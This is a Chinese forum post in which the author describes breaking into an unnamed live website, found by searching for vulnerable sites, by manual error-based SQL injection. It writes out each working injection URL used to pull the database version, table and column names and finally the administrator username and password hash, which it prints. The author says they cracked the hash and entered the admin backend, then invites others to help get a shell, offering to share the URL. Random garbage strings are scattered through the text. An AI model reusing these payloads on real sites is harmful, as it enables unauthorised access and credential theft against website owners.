近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
! g c( r9 X9 |! y) p0 o2 C3 _首先找到网站后台,加了个admin,后台出来了 / T% ^6 p& b' R, k! S* `
/ U' o1 a w q
9 \; K8 _& S& Y! N' o$ \ d# I然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
- p$ u4 n4 q# |% `* zhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
6 l1 ^' A& T* A) H5 u! `" k! {* A3 H9 v! n5 Q
a$ G) a8 m4 w) o/ ]9 A& A7 v4 D+ s; k! |
2 Q% ?+ N) o7 b6 C" F
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
/ e- _ L2 v5 G0 r% B% ^8 g5 j4 A3 ]/ w; b x1 j' o; [# G
+ y$ T# d' {- |4 ?, u& N- X
! ?+ t# n7 n' ]5 U
2 L8 u. [0 h9 c6 O' _
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator. j8 Q+ ]% l+ J# D- u( b1 R6 {
g# S5 D* u6 O5 |# g
. p* S. Y9 V& J- [* ?+ {http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg' h8 b/ _5 S( E/ T- R9 q# S
) p( A Q: ?# {) @% ?4 f
4 h/ o/ L- F v& J% U 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
! U8 q1 y, i2 j# b
+ b$ F+ U, H. e; R
, u$ W0 k2 |; R2 E6 w) r" P: A# ?# [
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--# q' S/ t8 C: T
. a$ v# J3 r6 I* i) ^6 i& I7 W2 ^. }3 Q2 ~/ S* j/ h
7 ?: }3 T' a3 N: e4 K0 y: g
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |